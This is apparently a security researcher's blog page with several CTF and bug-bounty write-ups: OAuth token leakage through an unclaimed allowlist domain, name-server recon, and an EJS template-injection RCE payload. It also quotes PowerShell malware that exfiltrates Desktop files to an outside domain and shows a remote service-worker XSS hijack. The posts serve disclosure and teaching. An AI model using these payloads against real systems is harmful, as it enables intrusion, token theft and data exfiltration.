Yoeri Vegt

Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage

Yoeri Vegt — Wed, 27 Aug 2025 13:26:04 GMT

Introduction

During a recent bug bounty session of testing a support chat system, I discovered a misconfiguration in the Ada Support iframe allowlist. This issue could be exploited to steal OAuth tokens and sensitive user data.

Ada Support allows companies to embed its AI-powered chat widget on their websites via embed2.js. To prevent abuse, Ada Support uses an iframe allowlist that defines which domains can embed a particular company’s support chat.

Unfortunately, one of the domains in this allowlist was left unclaimed, making it possible for an attacker to register the domain and host a malicious proof-of-concept (PoC).

Vulnerability Overview

The chat widget in question was tied to an e-commerce platform’s customer support system. By registering the unclaimed domain randomdomainname123.com, it became possible to:

Embed the official Ada Support widget on the attacker-controlled domain.
Trick users into interacting with the real customer support chat.
Capture OAuth access tokens, refresh tokens, and chat transcripts once the user authenticated via the legitimate login flow.

Since the chat system integrates directly with the company’s oauth login system, this allowed full takeover of a victim’s authenticated session.

Proof of Concept

A PoC was hosted on the claimed domain:

http://randomdomainname123.com/poc.html:



  
    
    Ada PoC
    
    
  
  
    Ada PoC on claimed domain
    This page loads the target’s Ada web chat.

As you can see, when the ada support chat is closed, the chat data (data.event_data) is dumped to the console. This event data contains the oauth authentication bearer tokens.

Steps to Reproduce:

Navigate to the PoC URL.
Start a support chat as a “normal” user.
When prompted to log in (via the OAuth flow), complete the login process.
After ending the chat, sensitive data such as access tokens, refresh tokens, and chat transcripts were logged to the console and displayed in the page’s innerHTML for easy demonstration.

This effectively bypassed intended protections by leveraging Ada’s trust in an outdated/unmonitored allowlist domain.

The dumped object with the access tokens looked something like this, where the access token and id token were authentication tokens for my target:

{
  "user_data": {
    "all_data": {
      "initialurl": "http://randomdomainname123.com/poc.html",
      "access_token": "eyJh...",
      "id_token": "eyJh...",
      "refresh_token": "0d...",
      "auth_token_type": "Bearer",
      "auth_scope": "['openid', 'profile', 'email', 'offline_access']"
    },
    "event_name": "END_CONVERSATION"
  }
}

Technical Details

Allowed Domains Leak

Ada Support provides a JSON configuration endpoint that shows the domains allowed to embed a given chat system. For this instance, the list was available at:

https://rollout.ada.support/[company-name]/client.json?ada_request_origin=embed

Searching within that configuration revealed:

"allowed_domains": [
  "company.com",
  "alloweddomain.net",
  "randomdomainname123.com",
  ...
]

Since randomdomainname123.com was not owned by the company, it could be registered and exploited.

Conclusion

By claiming an overlooked allowlist domain, attackers could steal access tokens and sensitive user data through a legitimate-appearing customer support chat.

Although exploiting this issue required several user interactions (visiting my site, engaging with the chat, and going through the login flow), I found the bug particularly interesting, as OAuth token leaks through third-party widgets isn't something I've ever come across. By reporting this bug to some bug bounty programs, I've earned a nice bit of cash.

Always monitor and verify the security of domains listed in allowlists. An expired or unclaimed entry may be all an attacker needs to compromise your users.

Unveiling more attack surface using matching NS records

Yoeri Vegt — Sun, 24 Nov 2024 21:00:00 GMT

Hey everyone!

I'm always on the lookout for new techniques to expand the attack surface for my bug bounty targets. While reviewing my old notes, I came across a very interesting and, as far as I know, unique method for discovering domain names owned by companies.

Short introduction

Every domain has it's own NS records. NS records tell the Internet where to go to find out a domain's IP address. Companies may own many domains, which not all of them have the company's name in their domain name. We can find them, by reverse-searching those Name Servers.

Every domain has its own NS (Name Server) records. These records tell the Internet where to look to find a domain's IP address. Companies often own multiple domains, many of which may not include the company's name in their URLs. However, we can uncover these domains by performing a reverse search on their Name Servers. It's quite cool!

PoC || GTFO

Let’s get hands-on! For this example, I’ll be using hackerone.com as the target. First, we need to retrieve the Name Server (NS) records for hackerone.com. This can be done using the dig tool:

dig ns hackerone.com

This commands returns two ns records in the ANSWERS section:

;; ANSWER SECTION:
hackerone.com.          86400   IN      NS      a.ns.hackerone.com.
hackerone.com.          86400   IN      NS      b.ns.hackerone.com.

The NS records returned are a.ns.hackerone.com and b.ns.hackerone.com. These are unique to our target company, which is a fortunate scenario for us. However, in some cases, you might encounter shared Name Servers, such as those provided by Akamai. When that happens, it becomes nearly impossible to determine which domains belong to a specific company.

Let's continue! We can use these two nameservers with the sharedns.asp.gg api, to find out what other domains belong to these NS':

curl -s -H 'Content-Type: application/json' --data-raw '{"name_servers":["a.ns.hackerone.com","b.ns.hackerone.com"]}' https://sharedns.asp.gg/api/v1/search | jq

This query, in my case, returned a total of 815 unique domain names. Here are a few examples:

breaker101.com
wearehackebone.com
theinternetbugbounty.com
inverselink.com
together-we-hit-harder.com
zerodaily.net

and many other cool ones! Go give it a try yourself!

Outro

As you can imagine, this API can be incredibly powerful. For instance, Cloudflare assigns each customer a (mostly) unique set of NS records, which works to our advantage! However, as mentioned earlier, some providers use shared NS records. In those cases, it becomes impossible to determine which domains are owned by a specific company.

I highly recommend exploring this API on your own, as it offers significant potential for uncovering valuable information. However, always use it responsibly! Additionally, keep in mind that I don’t own this API, so exercise caution with any data you send to it.

Cheers! Have fun!🎉

https://aasdfasdfasddf.s3.amazonaws.com/

https://aasdfasdfasddf.s3.amazonaws.com/

dream big

YesWeHack Dojo 35 - Chatroom

Yoeri Vegt — Sat, 21 Sep 2024 12:00:40 GMT

In this post, I'll be describing the exploitation of the YesWeHack dojo #35, called Chatroom.

Description

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

In the context of this application, Dojo-35, the vulnerability lays in the fact that user input was being set as a filename, making it possible to path traverse. Abusing that, we could overwrite a file which was being imported and executed by the application, to gain Remote Code Execution on the target.

Exploitation

First of all, looking at the Message class in the code, we can see a variable being used to set a file path. The this.to variable is used to set the file path name, whilst the this.msg is being used to set the contents of the file:

class Message {
...
    makeDraft() {
        this.file = path.basename(`${Date.now()}_${this.to}`)
        fs.writeFileSync(this.file, this.msg)
    }
...
}

This path variable later gets read out by the getDraft() function:

    getDraft() {
        return fs.readFileSync(this.file)
    }

The this.to variable gets set from a json object, which is the Dojo's input, which gets send to the Message class:

const userData = decodeURIComponent("input")

var data = {"to":"", "msg":""}
if ( userData != "" ) {
    try {
        data = JSON.parse(userData)
    } catch(err) {
        console.error("Error : Message could not be sent!")
    }
}

var message = new Message(data["to"], data["msg"])

Due to the to variable being used in the path variable, it's possible to perform a path traversal, with for example the following payload: a/../../../../../../../../tmp/flag.txt
However, when setting this as the to input variable, it simply overwrites the flag file, rendering it useless for us.

To further abuse this path traversal vulnerability, we can abuse the last line of the dojo:

console.log( ejs.render(fs.readFileSync('index.ejs', 'utf8'), {message: message.msg}) )

This piece of code imports the ./index.ejs file, and "renders" it with ejs. The contents of the file gets set with the msg input variable. Glueing this together, we can path traverse to ./index.js, and set the contents of the file to be a EJS payload which reads out the flag file, by executing a system command.

PoC||gtfo

My Proof of Concept payload is the following:

{"to":"a/../index.ejs", "msg":"<%=global.process.mainModule.constructor._load(`child_process`).execSync(`cat /tmp/flag.txt`).toString()%>"}

So we use the to input variable to path traverse over to the ./index.ejs file, and set the contents of that file to some executable EJS script, to gain command execution on the application.

This Proof of Concept payload cats out the /tmp/flag.txt file:

FLAG{W1th_Cr34t1vity_C0m3s_RCE!!}

Risk

The risk of Remote Code Execution, are, and not limited to: data theft, system compromise, denial of service, reputation damage.

These risks can lead to significant financial loss, operational disruption, and legal consequences. RCE vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, take control of systems, disrupt services, and damage an organization's reputation.

Remediation

To remedate this vulnerable, there are a few options:

You can set a server side check whether the to input variable only contains letters and numbers, for example this regex check: [a-zA-Z0-9_-]*
Instead of writing data to a file, write it to a database, like Mysql or PostgreSQL, however, you should make sure to prevent SQL injections if you choose for this method
You can save the draft message client side, on the user's browser. This way, this vulnerability wouldn't exist, and you save bandwidth.

Thanks for reading!

the flag shown in the Dojo

Winning NahamCon Pre-CTF 2024!

Yoeri Vegt — Tue, 21 May 2024 16:16:03 GMT

Just a very short brag.

Me and my team SQLKinkjection managed to claim the first spot in the NahamCon Pre-CTF! I'm incredibly proud of this achievement. Thanks for Ben (aka Nahamsec) for creating this awesome event!

That's it, thanks!

How we turned a challenge against the players and creators - Nahamcon CTF 2023

Yoeri Vegt — Fri, 15 Mar 2024 08:29:14 GMT

About the Challenge

During the process of deobfuscating the powershell payload from the IR challenge, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here's an explanation of how we received hundreds of decryptable files the CTF players sent us by running the encrypter.

How we did it

After we deobfuscated the first stage of the payload, we stumbled across this powershell code:

In the second-last line, you can see the following piece of powershell code:

Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body

This line sends a variable called body to www.thepowershellhacker.com/exfiltration in a post request.

The variable body is specified a bit earlier in the code:

$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}

Here we can clearly see that a zip file from the desktop (containing every file from the desktop) gets encoded in Base64, and then transferred into a Json object.

Out of curiosity, we quickly checked if the domain thepowershellhacker.com was claimed, expecting it to be.

However, to our surprise, it wasn't!

A Dutch website to check if the domain is available for sale.

What now?

After we claimed the domain, we went ahead and set up a python web server, which would listen for incoming requests:

from flask import Flask, request, jsonify
import time

app = Flask(__name__)

@app.route('/exfiltration', methods=['POST'])
def result():

    fileName = str(time.time()) + '.base64.zip'
    f = open(fileName, 'w+')

    receivedFile = request.get_json(force=True)['file']
    f.write(receivedFile)

    f.close()
    return "", 200

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=2001)

This python web server would receive the base64 encoded payload from the body, pull it out of the json object, and put it in a file.

What did we receive?

After the Nahamcon CTF ended, we went ahead and checked how many files we received:

We received a total of 600 files, that's insane!
Sadly, after mass decrypting all the files we received, we came to the conclusion that there are only 33 files that are from something other than this ctf.
Here's a list of all the files that were not part of the CTF challenge:

Ableton Live 11 Suite.lnk
asdf
ASDF
asdf.ps1
Autoruns.lnk
available_packages.txt
Bitdefender.lnk
config.xml
desktop.ini
failed_packages.txt
fakenet_logs.lnk
file.txt
flare-vm-4
Ghost Toolbox.lnk
HitmanPro.Alert.lnk
imac.py
kanker.txt
New Text Document.txt
nice.ps1
NPE.lnk
ProcessExplorer.lnk
PSDecode.ps1
QQ.lnk
readme.txt
TCPView.lnk
Telegram.lnk
test.txt
tes.txt
Tools.lnk
UpdateHealthTools.001.etl
UpdateHealthTools.001.evtx
x32dbg.lnk
x64dbg.lnk

A lot of these files end in .lnk, which means they are windows file shortcuts. They're not interesting.

After manually going through all the files, we concluded that nothing really of interest was captured. This means that almost everyone was smart enough to not run this on their own desktop environment but in the VM supplied by the Nahamcon CTF.

We'd also like to note that we didn't receive anything that could be identified back to a specific users, nor did we receive any sensitive files. Next to that, we'll destroy all the files and logs we've received.

Was this a waste of time?

No, this absolutely wasn't a waste of our time and resources. First of all, the CTF challenge in itself was already pretty fun to solve. Next to that, we quite enjoyed the process of making all of our quick and dirty tools. From the python web server, to the mass decoders. We're also delighted to see that almost everyone ran the "ransomware" in the Virtual Machine supplied by the CTF organizers, and not on their own machine.

We absolutely loved the process we went through by making this.

Avoiding such problems in the future

Adding web requests to a CTF challenge can add flavour and make it more engaging, but how to best avoid such mistakes?

First of all, make sure you have full control over the domain or IP you include in the challenge.
However, if that's not feasible, using a non-existent TLD, like hacker.d0main makes it impossible for someone to claim such a domain.
Eventually, one can include an IPv4 address that starts with 127. For example, 127.13.65.78 and 127.84.65.183 both point to localhost, making sure the requests won't leave the competitor's machine.

We want to thank Nahamsec and John Hammond for making and hosting this Capture the Flag tournament. And we'd also like to thank @awesome10billion#1164 for making the forensics challenge. We quite enjoyed it.

Written by Yoeri & Chillz

Wizer CTF - Recipe Book - Alert and Beyond!

Yoeri Vegt — Tue, 06 Feb 2024 14:22:15 GMT

One of my favorite Wizer CTF challenges was the Recipe Book challenge. You were served a quite small Node.js web app where you had to pop a JavaScript alert through postmessages and web workers. Although it seems like a weird combo, it was quite realistic and interesting!

I actually decided to go a step further than just the alert through postmessages, and eventually got full control over the content of the page.

Have fun reading my writeup!

Solving the challenge

Recon

We were first met with an app.js file in the challenge dashboard:

const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;

// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", ],
        styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
        workerSrc: ["'self'"]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: "Spaghetti Carbonara",
        ingredients: "Pasta, eggs, cheese, bacon",
        instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
        image: "spaghetti.jpg"
    },
    {
        id: 2,
        title: "Chicken Alfredo",
        ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
        instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
        image: "chicken_alfredo.jpg"
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
});

// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
    res.json({ recipes });
});

app.listen(port, () => {
    console.log(`API server is running on port ${port}`);
});

Looking through this code, nothing particularly stands out as of now. It seems to be serving a simple web app with some Content Security Policy (CSP) rules.

When we visit the challenge website, however, we are greeted with what seems to be a recipe book.

Looking at its source, we find a second app.js file. Because it's quite long, I've snipped it down to the most important bits for this challenge:

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById('mode');

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById('light');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById('dark');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it's a 'dark' mode
            document.getElementById('filter').style.filter = 'invert(100%)';
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

The first important function in this JavaScript file takes two GET parameters, mode and color, which it uses for setting the theme of the page. These two parameters get reflected in the page's DOM as an HTML element ID and the text content of that ID.

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

The second important function of this app.js file registers service workers on the page. Service workers are scripts that run in the background of a web browser, independent of web pages, enabling features like push notifications, background sync, and caching to enhance the performance and user experience of web applications.

The page determines which service workers to load depending on the inner text value of the HTML element with the ID of "sw". It then tries to register that service worker. Please note the sw.js reference for later. Can you see what we're going with this yet? ;)

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {
		// [snip]    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

Then, at the end of the script, we have three short lines which come in clutch later in this challenge:

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

This part of the script listens to whenever a postmessage is made on the recipebook broadcast channel. It then pops an alert with the contents of that postmessage request.

Lastly, we have the sw.js file.

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

This file dynamically loads in a service worker, from a GET parameter which gets defined by the app.js file on the page.

Initial idea

When participating in CTFs, I like to backtrack from what the goal is to the start of the challenge. Our goal is to pop an alert with the text "Wizer".

One thing that almost instantly attracted my attention was the postmessage listener we found in app.js.

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

If we can somehow send a postmessage request on the recipebook channel, we're able to alert the "Wizer" string!

However, this CTF requires you to enter a single URL in the solution, with a bot that'll visit that URL you posted. Meaning we can't have multiple tabs open to trigger an alert. We somehow need to trigger the alert from visiting a single URL, like a user clicking on your link. But how?

Tracking back, we might be able to exploit the dynamic loading of service workers!

importScripts(`/${getParameterByName('sw')}`);

sw.js

This sw.js script gets registered from app.js, which takes the innerText value from the HTML element with the ID of sw.

const sw = document.getElementById('sw').innerText;
navigator.serviceWorker.register('sw.js?sw=' + sw)

Does this ring any bell yet? Do you remember the function that sets the ID and innerText values for the theme?

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

Here you see the mode parameter gets set as the ID of an HTML element, and the color parameter gets set as the text content of that ID.

https://events.wizer-ctf.com/?mode=customID&color=textValue

Chaining everything together

Since service workers get registered from the HTML element with an sw ID, we can overwrite the default service worker on the page.

https://events.wizer-ctf.com/?mode=sw&color=test12345.js

Looking in the browser's developer console, we can see the browser is unable to register the service worker because it doesn't exist:

Can we somehow call a remote JavaScript file on which we host the postmessage script? Yes, we can!

Looking back at sw.js (the script that dynamically registers the service workers), we see that it tries to import a service worker starting with a / in the path:

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

We could abuse this by appending another / after the first slash, which JavaScript automatically translates to a domain name. Meaning that we can register a remote service worker!

I hosted a JavaScript file on my domain, having the following contents (make sure the JavaScript file is hosted on a webserver with HTTPS enabled; otherwise, the service worker won't register):

const channel = new BroadcastChannel('recipebook');
channel.postMessage({ message: 'Wizer' });

0ay.nl/assets/js/test.js0ay.nl/assets/js/test.js

Let's try to register this service worker with the exploit we found on the website:

https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/test.js

Boom! When visiting the URL, an alert window pops up with the "Wizer" string! We did it!

Summary

We exploited a vulnerability in the website by crafting a malicious URL with two GET parameters, mode and color. These parameters were used to set an HTML element with the ID specified by the mode parameter, and the content of the element was set according to the color parameter.

Using this mechanism, we overwrote the HTML element with the ID "sw", which was used to register a service worker, with a JavaScript file we controlled. Our JavaScript file sent a postMessage request, which the web app listened for, triggering an alert with the contents of that message. This successful exploit allowed us to solve the challenge by popping an alert with the desired content.

Beyond the challenge

XSS

Although we popped an alert on this web app, this doesn't mean we have full Cross-Site Scripting. The alert was able to fire thanks to the postMessage listener, which listened to any incoming postMessage, and would send out an alert when a postMessage was received.

This, of course, doesn't have any real-world malicious implications. So how can we abuse this? Let's find out!

The capabilities of Service Workers

Unfortunately, according to the Mozilla docs, service workers don't have access to the DOM of the webpage. Which is a bummer because we could've written some of the DOM over to include our custom JavaScript, which would've given us full JS access to the page (including the DOM).

Although service workers can't access the DOM, they have some other nifty features! We can create an event listener for fetch, and even better, we can intercept and change the response of the fetch! This way, we can execute any JavaScript on the page's DOM.

PoC||GTFO

Let's create a proof of concept!

Mozilla has all the service worker APIs nicely documented, just like the event.respondWith() method.

On my domain, I've hosted a JavaScript file with the following contents:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("Hi! This response was intercepted and replaced with a javascript payload!", {headers: {'Content-Type': 'text/html'}}));
});

0ay.nl/assets/js/fetch.js

This service worker will listen and wait until a fetch event happens, and when it does happen, it'll intercept the request and change it up for a very simple Cross-Site Scripting payload. Let's see it in action!

First, visit the malicious link we made, but instead of test.js, use the fetch.js file, like: https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/fetch.js
Nothing appears to happen; this is because the service worker got registered after the fetch requests happened. Refresh the page!
A prompt JavaScript window appears, proving our JavaScript code execution!

Clicking on "Ok" or "Cancel" will print out the H1 tag on the screen:

Conclusion

We've done it! We escalated the installation of service workers from a simple alert to full Cross-Site Scripting on our website. And because this is done through a service worker, the XSS is quite persistent, even if you close and reopen your browser! The possibilities are endless now, as you can display and execute anything on the page you want!

Thank you Wizer Training for hosting this CTF, and PinkDraconian for creating this amazing challenge! I learned a lot from the challenge, writing the write-up, and going further than the flag!

Thanks.

Yoeri Vegt

Yoeri Vegt

Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage

Introduction

Vulnerability Overview

Proof of Concept

Ada PoC on claimed domain

Steps to Reproduce:

Technical Details

Allowed Domains Leak

Conclusion

Unveiling more attack surface using matching NS records

Short introduction

PoC || GTFO

Outro

YesWeHack Dojo 35 - Chatroom

Description

Exploitation

PoC||gtfo

Risk

Remediation

Winning NahamCon Pre-CTF 2024!

How we turned a challenge against the players and creators - Nahamcon CTF 2023

About the Challenge

How we did it

What now?

What did we receive?

Was this a waste of time?

Avoiding such problems in the future

Written by Yoeri & Chillz

Wizer CTF - Recipe Book - Alert and Beyond!

Solving the challenge

Recon

Initial idea

Chaining everything together

Summary

Beyond the challenge

XSS

The capabilities of Service Workers

PoC||GTFO

Hi! This response was intercepted and replaced with a javascript payload!", {headers: {'Content-Type': 'text/html'}})); });

Conclusion

`Hi! This response was intercepted and replaced with a javascript payload!", {headers: {'Content-Type': 'text/html'}})); });`